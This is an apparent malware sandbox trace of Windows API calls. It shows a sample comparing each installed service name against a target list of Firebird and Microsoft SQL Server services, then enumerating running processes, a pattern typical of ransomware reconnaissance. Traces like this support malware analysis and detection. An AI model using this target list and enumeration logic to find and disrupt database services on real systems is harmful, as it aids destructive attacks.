	[0177.350] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0177.350] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0177.350] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0177.350] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0177.350] lstrlenW (lpString="EventLog") returned 8
	[0177.350] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0177.350] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0177.350] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0177.350] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0177.351] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0177.351] lstrlenW (lpString="EventSystem") returned 11
	[0177.351] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0177.351] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0177.351] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0177.351] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0177.351] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0177.351] lstrlenW (lpString="FontCache") returned 9
	[0177.351] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0177.351] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0177.351] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0177.351] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0177.351] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0177.351] lstrlenW (lpString="gpsvc") returned 5
	[0177.351] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0177.351] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0177.351] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0177.351] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0177.351] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0177.351] lstrlenW (lpString="iphlpsvc") returned 8
	[0177.351] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0177.351] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0177.351] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0177.351] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0177.351] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0177.351] lstrlenW (lpString="KeyIso") returned 6
	[0177.351] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0177.351] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0177.351] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0177.351] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0177.351] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0177.351] lstrlenW (lpString="LanmanServer") returned 12
	[0177.352] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0177.352] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0177.352] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0177.352] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0177.352] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0177.352] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0177.352] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0177.352] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0177.352] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0177.352] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0177.352] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0177.352] lstrlenW (lpString="lfsvc") returned 5
	[0177.352] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0177.352] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0177.352] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0177.352] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0177.352] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0177.352] lstrlenW (lpString="lmhosts") returned 7
	[0177.352] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0177.352] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0177.352] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0177.352] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0177.352] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0177.352] lstrlenW (lpString="LSM") returned 3
	[0177.352] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0177.352] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0177.352] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0177.352] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0177.352] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0177.352] lstrlenW (lpString="MpsSvc") returned 6
	[0177.352] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0177.352] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0177.352] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0177.353] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0177.353] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0177.353] lstrlenW (lpString="NcbService") returned 10
	[0177.353] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0177.353] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0177.353] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0177.353] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0177.353] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0177.353] lstrlenW (lpString="netprofm") returned 8
	[0177.353] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0177.353] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0177.353] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0177.353] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0177.353] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0177.353] lstrlenW (lpString="NgcSvc") returned 6
	[0177.353] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0177.353] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0177.353] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0177.353] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0177.353] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0177.353] lstrlenW (lpString="NlaSvc") returned 6
	[0177.353] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0177.353] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0177.353] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0177.353] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0177.353] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0177.353] lstrlenW (lpString="nsi") returned 3
	[0177.353] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0177.353] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0177.353] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0177.353] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0177.353] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0177.354] lstrlenW (lpString="PcaSvc") returned 6
	[0177.354] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0177.354] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0177.354] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0177.354] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0177.354] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0177.354] lstrlenW (lpString="PlugPlay") returned 8
	[0177.354] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0177.354] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0177.354] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0177.354] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0177.354] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0177.354] lstrlenW (lpString="Power") returned 5
	[0177.354] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0177.354] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0177.354] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0177.354] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0177.354] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0177.354] lstrlenW (lpString="ProfSvc") returned 7
	[0177.354] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0177.354] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0177.354] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0177.354] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0177.354] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0177.354] lstrlenW (lpString="RpcEptMapper") returned 12
	[0177.354] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0177.354] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0177.354] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0177.354] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0177.354] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0177.354] lstrlenW (lpString="RpcSs") returned 5
	[0177.354] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0177.355] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0177.355] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0177.355] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0177.355] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0177.355] lstrlenW (lpString="SamSs") returned 5
	[0177.355] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0177.355] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0177.355] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0177.355] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0177.355] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0177.355] lstrlenW (lpString="Schedule") returned 8
	[0177.355] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0177.355] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0177.355] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0177.355] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0177.355] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0177.355] lstrlenW (lpString="SecurityHealthService") returned 21
	[0177.355] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0177.355] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0177.355] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0177.355] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0177.355] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0177.355] lstrlenW (lpString="SENS") returned 4
	[0177.355] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0177.355] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0177.355] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0177.355] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0177.355] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0177.355] lstrlenW (lpString="ShellHWDetection") returned 16
	[0177.355] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0177.355] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0177.355] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0177.356] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0177.356] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0177.356] lstrlenW (lpString="Spooler") returned 7
	[0177.356] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0177.356] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0177.356] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0177.356] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0177.356] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0177.356] lstrlenW (lpString="StateRepository") returned 15
	[0177.356] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0177.356] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0177.356] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0177.356] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0177.356] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0177.356] lstrlenW (lpString="SysMain") returned 7
	[0177.356] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0177.356] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0177.356] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0177.356] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0177.356] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0177.356] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0177.356] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0177.356] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0177.356] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0177.356] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0177.356] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0177.356] lstrlenW (lpString="Themes") returned 6
	[0177.356] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0177.356] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0177.356] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0177.356] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0177.357] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45c6cc8 | out: hHeap=0x610000) returned 1
	[0177.357] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x514
	[0177.602] Process32FirstW (in: hSnapshot=0x514, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0177.602] Process32NextW (in: hSnapshot=0x514, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0177.603] lstrlenW (lpString="System") returned 6
	[0177.603] Process32NextW (in: hSnapshot=0x514, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0177.603] lstrlenW (lpString="smss.exe") returned 8
	[0177.603] Process32NextW (in: hSnapshot=0x514, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0177.604] lstrlenW (lpString="csrss.exe") returned 9
	[0177.604] Process32NextW (in: hSnapshot=0x514, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0177.604] lstrlenW (lpString="wininit.exe") returned 11
	[0177.604] Process32NextW (in: hSnapshot=0x514, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0177.604] lstrlenW (lpString="csrss.exe") returned 9
	[0177.605] Process32NextW (in: hSnapshot=0x514, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0177.605] lstrlenW (lpString="winlogon.exe") returned 12
	[0177.605] Process32NextW (in: hSnapshot=0x514, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0177.605] lstrlenW (lpString="services.exe") returned 12
	[0177.605] Process32NextW (in: hSnapshot=0x514, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0177.606] lstrlenW (lpString="lsass.exe") returned 9
	[0177.606] Process32NextW (in: hSnapshot=0x514, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0177.606] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0177.606] Process32NextW (in: hSnapshot=0x514, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0177.607] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0177.607] Process32NextW (in: hSnapshot=0x514, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0177.607] lstrlenW (lpString="svchost.exe") returned 11
	[0177.607] Process32NextW (in: hSnapshot=0x514, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0177.608] lstrlenW (lpString="svchost.exe") returned 11
	[0177.608] Process32NextW (in: hSnapshot=0x514, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x388, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0177.608] lstrlenW (lpString="dwm.exe") returned 7
	[0177.608] Process32NextW (in: hSnapshot=0x514, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0177.609] lstrlenW (lpString="svchost.exe") returned 11
	[0177.609] Process32NextW (in: hSnapshot=0x514, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0177.609] lstrlenW (lpString="svchost.exe") returned 11
	[0177.609] Process32NextW (in: hSnapshot=0x514, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0177.609] lstrlenW (lpString="svchost.exe") returned 11
	[0177.610] Process32NextW (in: hSnapshot=0x514, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0177.610] lstrlenW (lpString="svchost.exe") returned 11
	[0177.610] Process32NextW (in: hSnapshot=0x514, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0177.610] lstrlenW (lpString="svchost.exe") returned 11
	[0177.610] Process32NextW (in: hSnapshot=0x514, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x430, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0177.611] lstrlenW (lpString="svchost.exe") returned 11
	[0177.611] Process32NextW (in: hSnapshot=0x514, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x56c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0177.611] lstrlenW (lpString="svchost.exe") returned 11
	[0177.611] Process32NextW (in: hSnapshot=0x514, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0177.612] lstrlenW (lpString="svchost.exe") returned 11
	[0177.612] Process32NextW (in: hSnapshot=0x514, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0177.613] lstrlenW (lpString="svchost.exe") returned 11
	[0177.613] Process32NextW (in: hSnapshot=0x514, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0177.613] lstrlenW (lpString="svchost.exe") returned 11
	[0177.613] Process32NextW (in: hSnapshot=0x514, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x62c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0177.613] lstrlenW (lpString="spoolsv.exe") returned 11
	[0177.614] Process32NextW (in: hSnapshot=0x514, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x690, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0177.614] lstrlenW (lpString="svchost.exe") returned 11
	[0177.614] Process32NextW (in: hSnapshot=0x514, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x56c, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0177.614] lstrlenW (lpString="audiodg.exe") returned 11
